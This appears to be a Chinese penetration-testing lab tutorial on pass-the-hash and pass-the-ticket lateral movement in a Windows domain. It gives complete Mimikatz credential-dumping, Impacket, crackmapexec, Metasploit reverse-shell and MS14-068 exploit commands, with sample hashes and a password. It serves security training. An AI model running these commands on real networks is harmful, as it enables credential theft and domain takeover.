内网横向——常见系统传递攻击(1)

news2024/11/16 18:49:57

文章目录

  • 一、哈希传递
    • 1.1 利用Mimikatz进行PTH
    • 1.2 利用Impacket进行PTH
    • 1.3 使用crackmapexec进行PTH
    • 1.4 使用PowerShell
    • 1.5 使用MSF进行哈希传递
    • 1.6 利用哈希传递登录远程桌面
  • 二、票据传递
    • 2.1 MS14-068漏洞
    • 2.2 使用kekeo进行票据传递

网络拓扑:
在这里插入图片描述
攻击机kali IP:192.168.111.0
跳板机win7 IP:192.168.111.128,192.168.52.143
靶机win server 2008 IP:192.168.52.138

一、哈希传递

哈希传递(Pass the Hash,PTH)时一直针对NTLM协议的攻击技术,在NTLM身份认证的第三步生成response时,客户端直接使用用户的NTLM哈希值进行计算,用户的明文密码并不参与整个认证过程。也就是说,在windows系统中只使用用户哈希值队访问资源的用户身份进行认证。

1.1 利用Mimikatz进行PTH

Mimikatz中内置了哈希传递的功能,需要本地管理员权限
1、在win 7上尝试不输入密码与域控进行IPC连接。此时,windows会默认使用当前用户的NTLM Hash进行NTLM网络认证,win 7的本地管理员不是域用户,显示是连接不上域控的。

在这里插入图片描述
2、将Mimikatz上传到跳板机win 7 并执行下面的命令:

# 抓取用户hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

获取到域管理员NTLM hash为e037bc75e7afd68ec61c46253bd03f9b

在这里插入图片描述

上述使用mimikatz.exe,本质上是在线读取lsass.exe内存中保存的用户名和密码。如果机器关机后,只有本地管理员登录,mimikatz.exe就只能读取到本地管理员的账户和密码。

2、利用抓取到的域管理员的NTLM hash进行hash传递,在win7上执行:

# hash传递攻击
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:god /ntlm:e037bc75e7afd68ec61c46253bd03f9b /run:whoami" exit

默认情况会弹出cmd命令行,在该命令行下可以使用IPC连接去查看域控C盘根目录。用自己创建的cmd进程则不可以。

在这里插入图片描述

1.2 利用Impacket进行PTH

Impacket项目中具备远执行功能的几个脚本都支持哈希传递,例如smbexec.pywmiexec.pypsexec.py

kali上执行

impacket-smbexec -hashes 00000000000000000000000000000000:e037bc75e7afd68ec61c46253bd03f9b god/administrator@192.168.52.138
# impacket-smbexec -hashes LM Hash:NTLM Hash <domain>/<username>@IP "command"

在这里插入图片描述

impacket-wmiexec -hashes 00000000000000000000000000000000:e037bc75e7afd68ec61c46253bd03f9b god/administrator@192.168.52.138
# impacket-wmiexec -hashes LM Hash:NTLM Hash <domain>/<username>@IP "command"

在这里插入图片描述
win 7上执行

impacket-smbexec -hashes 00000000000000000000000000000000:e037bc75e7afd68ec61c46253bd03f9b god/administrator@192.168.52.138
# impacket-smbexec -hashes LM Hash:NTLM Hash <domain>/<username>@IP "command"

在这里插入图片描述

wmiexec.exe -hashes 00000000000000000000000000000000:e037bc75e7afd68ec61c46253bd03f9b god/administrator@192.168.52.138
# impacket-wmiexec -hashes LM Hash:NTLM Hash <domain>/<username>@IP "command"

在这里插入图片描述

1.3 使用crackmapexec进行PTH

crackmapexec smb 192.168.52.138 -u administrator -H e037bc75e7afd68ec61c46253bd03f9b -d god -x whoami
# crackmapexec smb <ip> -u administrator -H <ntlm hash> -d <domain> -x <command>
# <ip>:可以是单个IP也可以是IP段
# -u:指定用户名
# -H:指定NTLM Hash
# -d:指定域
# -x:执行系统命令
# --exec-method:smbexec(system权限)、wmiexec(默认,用户权限)、atexec(system权限)

在这里插入图片描述

1.4 使用PowerShell

在win 7上远程让靶机(192.168.52.138)运行反弹shell。Invoke-TheHash项目是一个基于.Net TCPClient,通过把 NTLM 哈希传递给 NTLMv2 身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限。

Invoke-SMBExec -Target 192.168.52.138 -Domain god -Username administrator -Hash 00000000000000000000000000000000:e037bc75e7afd68ec61c46253bd03f9b -Command "C:\Users\liukaifeng01\Desktop\reverse_shell.exe" -verbose

在这里插入图片描述
在这里插入图片描述

1.5 使用MSF进行哈希传递

use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.52.1 # Kali IP
set LPORT 7778
set RHOSTS 192.168.52.138 # 目标IP
set SMBUser administrator # 用户名
set SMBDomain god # 域名
set SMBPass 00000000000000000000000000000000:e037bc75e7afd68ec61c46253bd03f9b
run

在这里插入图片描述

域名写错了,似乎也能登上去。

1.6 利用哈希传递登录远程桌面

哈希传递不仅可以在远程主机上执行命令,在特定条件下还可以建立远程桌面连接。需要具备以下条件:

  • 远程主机开启“受限管理员”模式;
  • 用于登录远程桌面的用户位于远程主机的管理员组中;
  • 目标用户的hash。

windows server 2012 R2及以上的版本采用了新版RDP,支持受限管理员模式(Restricted Admin Mode)。开启该模式后,测试人员可以通过哈希传递直接登录远程桌面,不需要明文密码。受限管理员模式在windows 8.1和windows server 2012 r2上默认开启

1、执行以下命令,查看目标主机是否开启受限管理员模式。

# 查看主机是否开启“受限管理员”模式
# 若值为0,则说明启动;若为1,则说明未开启。
reg query "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin

2、在windows server 2012 R2及以上的主机可以使用下面的命令手动开启。

reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

3、若远程主机开启了受限管理员模式,则可以通过mimikatz进行利用。

mimikatz.exe
privilege::debug
sekurlsa::pth /user:administrator /domain:god /ntlm:xxxx "/run:mstsc.exe /restrictedadmin"

大致原理是:哈希传递成功后执行mstsc.exe /restrictedadmin,以受限管理员模式运行远程桌面客户端,此时不需要用户名密码即可成功登录远程桌面。

注意:受限管理员模式只对管理员组中的用户有效,如果获取到的用户属于远程桌面用户组,就无法通过哈希传递进行登录。

二、票据传递

票据传递(pass the ticket,PTT)是一种使用Kerberos票据代替明文密码或NTLM hashde的攻击方法。这种攻击方式可以用Kerberos票据进行内网渗透,不需要管理员权限,最常见的就是黄金票据白银票据

2.1 MS14-068漏洞

MS14-068是一个windows漏洞,位于域控制器的密钥分发中心的kdcsvc.dll。它允许经过身份验证的用户在其kerberos票据中插入任意PAC,并且可能允许攻击者将未授权的域用户账号的权限提升为域管理员权限。攻击者可以通过构造特定的请求包来达到提升权限的目的。

该漏洞的利用条件:

  • 获取域普通用户的账号密码;
  • 获取域普通用户的SID;
  • 服务器未安装KB3011780补丁。

下面的实验是在跳板机Win 7上进行的,使用普通域用户账号登录。

1、首先在域控上创建一个普通域用户,然后在win 7上用普通域用户登录。在域god.org中添加一个test用户。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
2、在域控上,查看系统是否安装KB3011780补丁,本环境下,域控没有安装相应的补丁。

systeminfo # 查看系统信息,尤其是补丁情况

在这里插入图片描述
3、在win 7上,获取域用户SID。

whoami /all # 查看当前用户的SID
wmic useraccount get name,sid # 查看所有用户的SID

在这里插入图片描述
在这里插入图片描述

4、创建票据之前需要清除win7系统内票据。

mimikatz.exe "kerberos::purge" exit # 清除系统内票据

# 查看系统内存中的票据
kerberos::purge # mimikatz中使用
klist # 直接在命令行中用

在这里插入图片描述

5、在win 7上,使用ms14-068.exe生成域管理员的票据

ms14-068.exe -u administrator@god.org -p hongrisec@2024. -s S-1-5-21-2952760202-1353902439-2381784089-1109 -d 192.168.52.138
# -u:用来指定域用户@域名,这里是administrator用户
# -p:用来指定域用户密码,administrator用户的密码
# -s:当前域用户SID,域用户god\test的SID
# -d:用来指定域控IP

在这里插入图片描述
6、在win 7上,使用mimikatz注入内存

kerberos::ptc TGT_administrator@god.org.ccache

在这里插入图片描述
7、在win 7上,验证权限

dir \\owa.god.org\c$ # 查看域控C盘下的文件
psexec64.exe \\owa.god.org cmd.exe # 拿到域控的shell
# IP访问不行就用域名

在这里插入图片描述
在这里插入图片描述

2.2 使用kekeo进行票据传递

kekeo是一款开源工具,主要用来进行票据传递、S4U2约束委派滥用等。如果想使用kekeo进行票据传递,需要域名、用户名、用户哈希

1、win7上使用本地管理员用户登录,并获取域管理员的NTLM hash

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
# 

在这里插入图片描述

2、在win7上清除系统内存中的票据

mimikatz.exe "kerberos::purge" exit # 清除票据
klist # 查看系统内存中的票据

在这里插入图片描述

3、在win7上生成票据

kekeo.exe "tgt::ask /user:administrator /domain:god.org /ntlm:xxxxx"

在这里插入图片描述
4、在win 7上使用mimikatz将票据导入内存。

mimikatz.exe "kerberos::ptt <票据路径>" exit
klist # 查看票据是否注入成功

在这里插入图片描述
在这里插入图片描述
5、票据传递

dir \\owa.god.org\c$

在这里插入图片描述

可以看到net user中看不到已建立的连接,但是就是可以查看靶机C盘下的目录。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1972081.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

windows内存泄漏检查汇总

VLD(Visual Leak Detector) 下载 官方下载地址2.5 另一分支2.7 安装 点击运行安装

重装系统之前,如何保护自己的微信聊天记录?

前言 有个小伙伴想要重装系统&#xff0c;但又怕自己的电脑微信聊天记录全没了。于是就一直拖着不重装系统&#xff0c;直到有一天系统崩溃之后…… 今天咱们要讲讲&#xff1a;重装系统之前&#xff0c;如何保护自己的社交软件聊天记录。这个话题其实不仅仅是微信聊天记录&am…

喜讯|华院计算Uni-law法律大模型成功入选《2024中国数据智能产业AI大模型先锋企业》

7月24日&#xff0c;“2024企业数智化转型升级发展论坛——暨AI大模型趋势论坛”在北京圆满落幕。此次论坛由数据猿主办&#xff0c;IDC协办&#xff0c;新华社中国经济信息社、上海大数据联盟、上海市数商协会及上海超级计算中心作为支持单位。大会以“数智新质力拓未来”为主…

Springboot学习-day17

Springboot学习-day17 1. AOP AOP &#xff08;Aspect Orient Programming&#xff09;,直译过来就是 面向切面编程,AOP 是一种编程思想&#xff0c;是面向对象编程&#xff08;OOP&#xff09;的一种补充。 面向切面编程&#xff0c;实现在不修改源代码的情况下给程序动态统…

大模型学习路线图:从入门到精通,我说这是全网详细的,谁赞成谁反对?

随着人工智能技术的飞速发展&#xff0c;大模型&#xff08;Large-Scale Models&#xff09;已经成为推动自然语言处理&#xff08;NLP&#xff09;、计算机视觉&#xff08;CV&#xff09;等领域进步的关键因素。本文将为您详细介绍从零开始学习大模型直至成为专家的全过程&am…

吴恩达机器学习WEEK1

COURSE 1 WEEK 1 机器学习的应用 当我们有一个目标&#xff0c;不知道如何显示地写出来一个程序时&#xff0c;例如自动驾驶等&#xff0c;这时候就需要制定某些规则&#xff0c;让计算机自己去学习&#xff0c;即机器学习 机器学习就是沿用人脑学习的过程&#xff0c;逐步对…

目录文件;链接文件;函数stat/lstat

1.目录文件的操作&#xff1a; 1. mkdir int mkdir(const char *pathname, mode_t mode); 功能: 创建目录 参数&#xff1a; pathname:目录文件的路径 mode:目录文件的权限 返回值&#xff1a; …

6581 Number Triangle

这个问题可以通过动态规划来解决。我们可以从三角形的顶部开始&#xff0c;然后逐行向下计算每个位置的最大和。对于三角形中的每个位置&#xff0c;我们可以选择从其上方或左上方的位置移动到该位置&#xff0c;所以该位置的最大和就是其上方或左上方位置的最大和加上该位置的…

动态规划---观察优化枚举(股票系列问题)

121. 买卖股票的最佳时机 - 力扣&#xff08;LeetCode&#xff09; public class Code01_Stock1 {public static int maxProfit(int[] prices) {int ans 0;for (int i 1, min prices[0]; i < prices.length; i) {// min : 0...i范围上的最小值min Math.min(min, prices…

Android图像显示SurfaceFlinger总结

1 介绍 1.1 框架中位置 ​​ 上图为Android的图形显示系统框架图。 首先上层应用通过ViewRoot的scheduleTraversals函数发起绘制任务&#xff0c;并通过HWUI调用OpenGL接口将绘制数据传递给GPU处理&#xff1b;SF会接收所有应用更新的绘制数据&#xff0c;并根据Z-Order、透明…

实现一个自定义前端脚手架

一、背景 什么前端脚手架&#xff1f; 前端脚手架是一种工具&#xff0c;用于快速搭建前端项目的基础结构&#xff0c;提供了一套约定和标准&#xff0c;帮助开发人员快速启动项目开发。常见的前端脚手架包括Create React App、Vue CLI、Angular CLI、nestjs/cli等。 我为什么…

C语言——二维数组和字符数组

二维数组 二维数组本质上是一个行列式的组合&#xff0c;也就是二维数组是有行和列两部分构成。二维数组数据是通过行列进行解读。 定义形式&#xff1a; 类型&#xff08;说明符&#xff09; 数组名[行数&#xff08;常量表达式1&#xff09;][列数&#xff08;常量表达式…

nginx负载均衡、java、tomcat装包

一、nginx 七层负载均衡 1、七层负载均衡基础配置 2、负载均衡状态 [rootserver]# vim /usr/local/nginx/conf/nginx.confworker_processes 1;event {worker_connections 1024&#xff1b;}http { # 七层负载均衡支持http、ftp协议include mime.types;default_type app…

T3学员领取资料通知0803

T3学员领取资料通知0803 各位学员∶本周MF系列VBA技术资料增加671-680讲&#xff0c;T3学员看到通知后请免费领取,领取时间8月2日晚上19:00-8月3日12:00。本次增加内容&#xff1a; MF671:Shell命令输出计算机的详细信息 MF672:Shell命令输出网络配置信息 MF673:解锁和启用…

QtQuick Text-文本省略

效果 import QtQuickColumn{spacing: 20Text{width: 200text: qsTr("1使文本在单行中对于超出部分不要进行省略")font.pointSize: 20}Text{width: 200elide: Text.ElideLefttext: qsTr("2使文本在单行中对于超出部分从左边进行省略")font.pointSize: 20}Te…

【协作提效 Go - gin ! swagger】

什么是swagger Swagger 是一个用于设计、构建、记录和使用 RESTful Web 服务的工具集。它的主要作用包括&#xff1a; API 文档生成&#xff1a;Swagger 可以自动生成详细的 API 文档&#xff0c;包括每个端点的请求和响应格式、参数、状态码等。这使得开发者和用户可以轻松理…

【香橙派系列教程】(五)Linux的热拔插UDEV机制

【五】Linux的热拔插UDEV机制 在上一篇中我们发现&#xff0c;当手机接入开发板时&#xff0c;系统并不认识&#xff0c;当我们在/etc/udev目录下创建一个规则后&#xff0c;就可以通过adb访问到手机了&#xff0c;这里到底是怎么回事&#xff1f; 文章目录 【五】Linux的热拔插…

【Python】数据类型(上)

本篇文章将讲解&#xff1a; &#xff08;1&#xff09;整型 &#xff08;2&#xff09;布尔类型 一&#xff1a;整型 整型其实就是十进制整数的统称&#xff0c;例如&#xff1a;1 666 都属于整型。 &#xff08;1&#xff09;定义 num11 age45 &#xff08…

【网络】网络入门(第一篇)

网络入门可以从多个方面开始&#xff0c;以下是一个基本的网络入门指南&#xff0c;涵盖了网络的基本概念、网络类型、网络协议、网络拓扑、网络设备以及网络地址等方面。 一、网络基本概念 计算机网络&#xff1a;将多个计算机系统和设备连接在一起&#xff0c;以实现资源共…

Opencv学习-LUT函数

这个函数大概意思根据自己设定的查找表&#xff0c;改变原本像素点值 例如&#xff1a;我们想将一张图片灰度为0-100的像素的灰度变成0,101-200的变成100,201-255的变成255。我们就可已建立如下的一张表格 ​​​​​​​ ​​​​​​​ ​​​​​​​…